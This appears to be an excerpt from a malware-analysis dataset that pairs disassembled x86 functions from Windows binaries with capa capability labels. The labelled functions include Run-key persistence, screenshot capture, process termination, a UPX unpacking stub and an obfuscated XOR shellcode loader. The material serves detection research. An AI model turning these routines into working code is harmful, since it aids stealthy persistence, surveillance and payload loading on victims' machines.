joyce8/EMBER2024-capa huggingface dataset:
Function at 0x510a2c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x510a86
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.00510a1c
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.004fd680
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.004fd280
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x510a8d
lea eax, [ebp - 4]
call fcn.00404788
ret

Function at 0x510e08
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
test dl, dl
je 0x510e1b
add esp, 0xfffffff0
call fcn.00403c14
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x510e94
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, esi
call fcn.004038c0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [esi + 0x14], 0
lea edx, [ebp - 4]
mov eax, esi
call fcn.0051126c
mov edx, dword [ebp - 4]
lea eax, [esi + 8]
call fcn.004047dc
mov ecx, dword [esi + 8]
lea eax, [esi + 0xc]
mov edx, 0x510ec0
call fcn.00404aa4
mov ecx, esi
mov dl, 1
mov eax, dword [0x510c3c]
call fcn.005116cc
mov dword [esi + 0x30], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x510e9b
lea eax, [ebp - 4]
call fcn.00404788
ret

Function at 0x514dcc
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c48
lea esi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x514f2f
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 2
call fcn.004be268
mov ebx, eax
mov dword [esi], 0x128
mov edx, esi
mov eax, ebx
call fcn.004be288
jmp 0x514f01
lea eax, [ebp - 0x138]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.00404a08
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00465c00
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00464dd4
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00464dd4
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404ba4
je 0x514ee3
lea eax, [ebp - 0x144]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.00404a08
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00464dd4
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00464dd4
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404ba4
jne 0x514ef8
push 0
mov eax, dword [esi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov edx, esi
mov eax, ebx
call fcn.004be2a8
test eax, eax
jne 0x514e44
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x514f36
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.004047ac
lea eax, [ebp - 4]
call fcn.00404788
ret
Function at 0x5151d0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
mov esi, eax
call sub.kernel32.dll_GetTickCount
mov ebx, eax
jmp 0x5151f0
mov eax, dword [0x533380]
mov eax, dword [eax]
call fcn.004bc928
push 1
call sub.kernel32.dll_Sleep_1
call sub.kernel32.dll_GetTickCount
sub eax, ebx
xor edx, edx
push edx
push eax
mov eax, esi
cdq
cmp edx, dword [esp + 4]
jne 0x51520e
cmp eax, dword [esp]
pop edx
pop eax
ja 0x5151dd
pop esi
pop ebx
ret
pop edx
pop eax
jg 0x5151dd
pop esi
pop ebx
ret

Function at 0x515218
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c48
xor eax, eax
push ebp
push 0x515351
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00404788
mov eax, dword [ebp - 4]
call fcn.004658fc
test al, al
je 0x51533b
xor edx, edx
push ebp
push 0x515331
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
call fcn.00404c58
mov edi, eax
push edi
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
jne 0x51528a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51533b
mov eax, ebx
call fcn.00402754
mov esi, eax
push esi
push ebx
push 0
push edi
call sub.version.dll_GetFileVersionInfoA
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x515360
push esi
call sub.version.dll_VerQueryValueA
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 8]
shr edx, 0x10
mov word [ebp - 0xa], dx
mov dx, word [eax + 8]
and dx, 0xffff
mov word [ebp - 0xc], dx
mov edx, dword [eax + 0xc]
shr edx, 0x10
mov word [ebp - 0xe], dx
mov di, word [eax + 0xc]
and di, 0xffff
mov edx, ebx
mov eax, esi
call fcn.00402774
mov eax, dword [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0
movzx eax, word [ebp - 0xc]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0
movzx eax, word [ebp - 0xe]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0
movzx eax, di
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x3c]
mov ecx, 3
mov eax, 0x51536c
call fcn.00466494
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51533b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x515358
lea eax, [ebp - 4]
call fcn.00404788
ret
Function at 0x51623c
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x51639c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x20]
push eax
call sub.kernel32.dll_GetLocalTime
mov ax, word [ebx + 0x94]
cmp ax, word [ebp - 0x1a]
je 0x516374
mov eax, dword [ebx + 0x48]
call fcn.00465894
mov esi, eax
cmp esi, 0xffffffff
je 0x51629d
mov eax, esi
call fcn.00465d30
fstp qword [ebp - 0x10]
wait
inc esi
je 0x516367
fld qword [ebp - 0x10]
call fcn.00402b98
push edx
push eax
call fcn.00467140
call fcn.00402b98
cmp edx, dword [esp + 4]
jne 0x5162c1
cmp eax, dword [esp]
pop edx
pop eax
je 0x516367
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.004c75a4
movzx eax, ax
lea edx, [ebp - 0x24]
call fcn.004653f4
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 4]
mov edx, dword [ebx + 0x48]
call fcn.00404aa4
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 4]
call fcn.00465bcc
mov edx, dword [ebp - 0x28]
lea eax, [ebp - 8]
mov ecx, 0x5163b4
call fcn.00404aa4
mov eax, dword [ebp - 8]
call fcn.00465930
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 4]
call fcn.00465c00
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00404aa4
mov eax, dword [ebp - 4]
call fcn.00404c58
mov esi, eax
mov edx, esi
lea eax, [ebp - 0x30]
call fcn.00404990
mov eax, dword [ebp - 0x30]
call fcn.00465b34
mov eax, dword [ebx + 0x44]
call fcn.004038f0
push esi
mov eax, dword [ebx + 0x48]
call fcn.00404c58
push eax
call sub.kernel32.dll_MoveFileA
lea edx, [ebx + 0x44]
mov eax, dword [ebx + 0x48]
call fcn.00515e48
lea esi, [ebp - 0x20]
lea edi, [ebx + 0x8e]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5163a3
lea eax, [ebp - 0x30]
mov edx, 4
call fcn.004047ac
lea eax, [ebp - 8]
mov edx, 2
call fcn.004047ac
ret
Function at 0x51ae5c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c48
mov eax, dword [ebp - 8]
call fcn.00404c48
xor eax, eax
push ebp
push 0x51af7a
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
push 0
mov eax, dword [0x536458]
call fcn.004a30b0
push eax
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
je 0x51af4f
push 0xff
lea eax, [ebp - 0x108]
push eax
push esi
call sub.user32.dll_GetWindowTextA
test eax, eax
jle 0x51af3d
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0x108]
call fcn.00465fa4
mov edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 4]
call fcn.00404da0
test eax, eax
setg bl
test bl, bl
je 0x51af37
lea edx, [ebp - 0x110]
mov eax, dword [ebp - 8]
call fcn.00465024
cmp dword [ebp - 0x110], 0
je 0x51af37
lea edx, [ebp - 0x114]
lea eax, [ebp - 0x108]
call fcn.00465fa4
mov edx, dword [ebp - 0x114]
mov eax, dword [ebp - 8]
call fcn.00404da0
test eax, eax
setg bl
test bl, bl
je 0x51af3d
mov edi, esi
push 2
push esi
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
jne 0x51aebe
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51af81
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.004047ac
lea eax, [ebp - 8]
mov edx, 2
call fcn.004047ac
ret
Function at 0x51c588
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0xc]
sub ebx, edi
mov esi, dword [ebp + 8]
sub esi, dword [ebp - 8]
push 0
push 0x51c650
push 0x51c650
push 0x51c654
call sub.gdi32.dll_CreateDCA
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 0x10], eax
push esi
push ebx
mov eax, dword [ebp - 0xc]
push eax
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.gdi32.dll_SelectObject
push 0xcc0020
mov eax, dword [ebp - 8]
push eax
push edi
mov eax, dword [ebp - 0xc]
push eax
push esi
push ebx
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.gdi32.dll_BitBlt
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
call fcn.00485980
xor eax, eax
push ebp
push 0x51c63e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51c645
mov eax, dword [ebp - 0x10]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_ReleaseDC
ret
Function at 0x521610
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x521618
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x521810
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov dl, 1
mov eax, dword [0x473240]
call fcn.004038c0
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x5217ee
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
push 0x51af8c
call sub.user32.dll_EnumWindows
sub bl, 1
jb 0x52167a
je 0x521703
dec bl
je 0x52175d
jmp 0x5217d2
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x5216b4
inc ebx
xor esi, esi
lea ecx, [ebp - 0x10]
mov edx, esi
mov eax, dword [ebp - 8]
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x10]
mov eax, 0x52182c
call fcn.00404da0
test eax, eax
jle 0x5216b0
mov byte [ebp - 9], 1
jmp 0x5216b4
inc esi
dec ebx
jne 0x52168c
cmp byte [ebp - 9], 0
jne 0x5217d2
xor edx, edx
mov eax, 0x52182c
call fcn.0051ae5c
mov ebx, eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x18]
call fcn.004654e0
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x521848
call fcn.00404aa4
mov eax, dword [ebp - 0x14]
call fcn.0051b014
test ebx, ebx
jbe 0x5217d2
mov byte [ebp - 9], 1
jmp 0x5217d2
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x52173d
inc ebx
xor esi, esi
lea ecx, [ebp - 0x1c]
mov edx, esi
mov eax, dword [ebp - 8]
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x1c]
mov eax, 0x521860
call fcn.00404da0
test eax, eax
jle 0x521739
mov byte [ebp - 9], 1
jmp 0x52173d
inc esi
dec ebx
jne 0x521715
cmp byte [ebp - 9], 0
jne 0x5217d2
xor edx, edx
mov eax, 0x521860
call fcn.0051ae5c
test eax, eax
jbe 0x5217d2
mov byte [ebp - 9], 1
jmp 0x5217d2
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x5217b5
inc ebx
xor esi, esi
lea ecx, [ebp - 0x20]
mov edx, esi
mov eax, dword [ebp - 8]
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x20]
mov eax, 0x52187c
call fcn.00404da0
test eax, eax
jle 0x5217b1
lea ecx, [ebp - 0x24]
mov edx, esi
mov eax, dword [ebp - 8]
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x24]
mov eax, 0x521890
call fcn.00404da0
test eax, eax
jle 0x5217b1
mov byte [ebp - 9], 1
jmp 0x5217b5
inc esi
dec ebx
jne 0x52176f
cmp byte [ebp - 9], 0
jne 0x5217d2
mov edx, 0x521890
mov eax, 0x52187c
call fcn.0051ae5c
test eax, eax
jbe 0x5217d2
mov byte [ebp - 9], 1
mov al, byte [ebp - 9]
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5217f5
lea eax, [ebp - 8]
call fcn.0046aafc
ret
Function at 0x5227ac
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x52287f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.00404788
mov eax, ebx
sub al, 1
jb 0x5227da
dec al
je 0x5227f9
jmp 0x52281d
push 0x522894
push dword [0x53652c]
push 0x5228b0
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404b18
jmp 0x52281d
push 0x522894
lea edx, [ebp - 8]
mov al, 3
call fcn.0051baf8
push dword [ebp - 8]
push 0x5228bc
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404b18
push 3
push 0
push dword [ebp - 4]
push 0x5228e0
push dword [0x536538]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404b18
mov eax, dword [ebp - 0xc]
call fcn.00404c58
push eax
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.0051baf8
mov eax, dword [ebp - 0x10]
call fcn.00404c58
push eax
push 0x522904
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x522886
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004047ac
ret
Function at 0x527598
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x5276d3
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x5276ae
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x48e4c4]
call fcn.0048e630
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x52769d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.00404788
mov edx, 0x80000001
mov eax, dword [ebp - 4]
call fcn.0048e70c
mov edx, 0x5276ec
mov eax, dword [ebp - 4]
call fcn.0048ee20
test al, al
je 0x527626
xor ecx, ecx
mov edx, 0x5276ec
mov eax, dword [ebp - 4]
call fcn.0048e774
test al, al
je 0x527626
lea ecx, [ebp - 8]
mov edx, 0x527738
mov eax, dword [ebp - 4]
call fcn.0048ec24
cmp dword [ebp - 8], 0
jne 0x52763b
call fcn.004041ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5276b8
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, 0x527748
call fcn.00404aa4
mov eax, dword [ebp - 0xc]
call fcn.0051aa50
mov edx, 0x527760
mov eax, dword [ebp - 4]
call fcn.0048ee20
test al, al
je 0x527687
xor ecx, ecx
mov edx, 0x527760
mov eax, dword [ebp - 4]
call fcn.0048e774
test al, al
je 0x527687
mov ecx, dword [ebp - 8]
mov edx, 0x527738
mov eax, dword [ebp - 4]
call fcn.0048ebf8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5276a4
lea eax, [ebp - 4]
call fcn.0046aafc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5276da
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004047ac
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x4203c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x4203d6
pop dword [ebp - 0x3c]
mov eax, 0x1a8bfde
add eax, 0xfe9943f8
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xcbea3c03
add dword [ebp - 0x4c], 0x82680948
mov dword [ebp - 0x48], 0x682722e3
sub dword [ebp - 0x48], 0x35f3d69e
mov dword [ebp - 0x44], 0xab4f9aa
add dword [ebp - 0x44], 0x41974a84
mov dword [ebp - 0x40], 0xa6b5b4a4
add dword [ebp - 0x40], 0x594a4b5c
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x2aaa1004
sub eax, 0x2a67df90
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x4eda5b63
sub dword [ebp - 0x4c], 0xda67f20d
mov dword [ebp - 0x48], 0xdfbf6289
sub dword [ebp - 0x48], 0x9e530114
mov dword [ebp - 0x44], 0x3d419f24
sub dword [ebp - 0x44], 0xd9d232b8
mov dword [ebp - 0x40], 0x1a5cc5a5
sub dword [ebp - 0x40], 0x1a5cc5a5
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x3ce4586
add eax, 0xfc73eb9e
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b42a
push 0
call eax
mov ecx, 0x9477b58c
add ecx, 0x6b8887b5
mov ebx, eax
mov esi, 0xc7621e73
sub esi, 0xc71eda73
add esi, dword [ebp - 0x3c]
mov edi, 0xf3f929d8
add edi, 0x4ac937dd
xor dword [ebp - 0x38], eax
mov edx, dword [esi]
xor dword [ebp - 0x34], 0x1200a590
xor edx, edi
xor dword [ebp - 0x24], esi
mov dword [ebx], edx
xor dword [ebp - 0x24], 0xe48ae0ed
add ebx, 0x67a01d15
sub ebx, 0x67a01d11
add esi, 0x9fa26bfe
sub esi, 0x9fa26bfa
loop 0x4204f8
add eax, 0x60a254c7
add eax, 0x9f5e9310
mov ebx, eax
add eax, 0xd1e03512
add eax, 0x2e1fcaf3
mov ecx, 0xfceab21c
add ecx, 0x3554de4
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0xe42d50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa34000]
push edi
jmp 0xe42d6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xe42d71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe42d60
mov eax, 1
add ebx, ebx
jne 0xe42d83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xe42d78
jne 0xe42d94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xe42d78
xor ecx, ecx
sub eax, 3
jb 0xe42da8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xe42e1a
mov ebp, eax
add ebx, ebx
jne 0xe42db3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0xe42dc0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0xe42de4
inc ecx
add ebx, ebx
jne 0xe42dd0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xe42dc5
jne 0xe42de1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xe42dc5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xe42e04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xe42df5
jmp 0xe42d66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xe42e04
add edi, ecx
jmp 0xe42d66
pop esi
mov edi, esi
mov ecx, 0xbee
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xe42e22
cmp byte [edi], 6
jne 0xe42e22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xe42e27
lea edi, [esi + 0xa40000]
mov eax, dword [edi]
or eax, eax
je 0xe42e96
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa5ec30]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa5ecbc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xe42e54
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa5ecc0]
or eax, eax
je 0xe42e90
mov dword [ebx], eax
add ebx, 4
jmp 0xe42e71
call dword [esi + 0xa5ecd0]
mov ebp, dword [esi + 0xa5ecc4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xe42eca
sub esp, 0xffffff80
jmp 0x419acc
Function at 0x402a50
Capabilities:
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x402a8d
xor eax, eax
mov al, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x402aad
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.00404c6c
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x402ce4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004049fc
test esi, esi
jne 0x402d1a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404aec
jmp 0x402d38
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402b98
mov edi, eax
test esi, esi
je 0x402d38
cmp dword [ebx], 0
je 0x402d38
dec esi
jmp 0x402d21
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403930
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4db020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4039c8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4039a8
xor eax, eax
push ebp
push 0x4039a1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4039e4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4039a8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4db020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4db020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4047fc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4e504c], 0
je 0x40485d
cmp word [0x4e5220], 0xd7b2
jne 0x404825
cmp dword [0x4e5228], 0
jbe 0x404825
mov eax, 0x4e521c
call dword [0x4e5238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4db090
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404884
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4db030], 0
jne 0x404879
push 0
push 0x4db088
push 0x4db090
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x4049b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.0040283c
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x4e504d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404978
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc